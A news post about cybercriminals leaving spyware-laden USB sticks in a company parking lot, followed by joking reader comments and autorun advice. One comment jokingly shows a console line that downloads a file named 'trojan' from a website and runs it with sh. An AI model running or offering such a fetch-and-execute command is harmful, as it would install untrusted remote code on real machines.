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Criminals Distribute Infected USB Sticks In Parking Lot
New submitter sabri writes "The Dutch news-site Elsevier is reporting that cybercriminals attempted to steal data from a multinational chemicals company by 'losing' spyware-infected USB sticks on the company's parking lot. Their attempt failed as one of the employees who found the stick dropped it off at the company's IT department, who then found the spyware and issued a warning. So next time, don't expect to find someone's dirty pictures on a USB stick you just found..."
So you can load USB sticks you find and extract the pictures!
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
Or turn off auto-run in Windows. I once found a USB drive on the ground. Turns out it was some grad student's drive. I tried to return it but got no response from the email I found on his resume.
I ran one through the driver once
I say old chap, that's a bit rough, what? I hope you paid his medical expenses and gave him a shilling bonus after that experiment. Toodle pip...
Didn't occur to you to go to his house, pick the locks, and leave the drive on his night stand? Because that would have been AWESOME!
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
Many of them. All alone.
You looked at them all to 'make sure,' huh?
"First they came for the slanderers and i said nothing."
C:\Users\drawfour>wget houghi.org/trojan && sh trojan
'wget' is not recognized as an internal or external command,
operable program or batch file.
Of course on a properly managed system, also on Windows, such a USB stick will do nothing.
Because all the USB ports are filled with glue.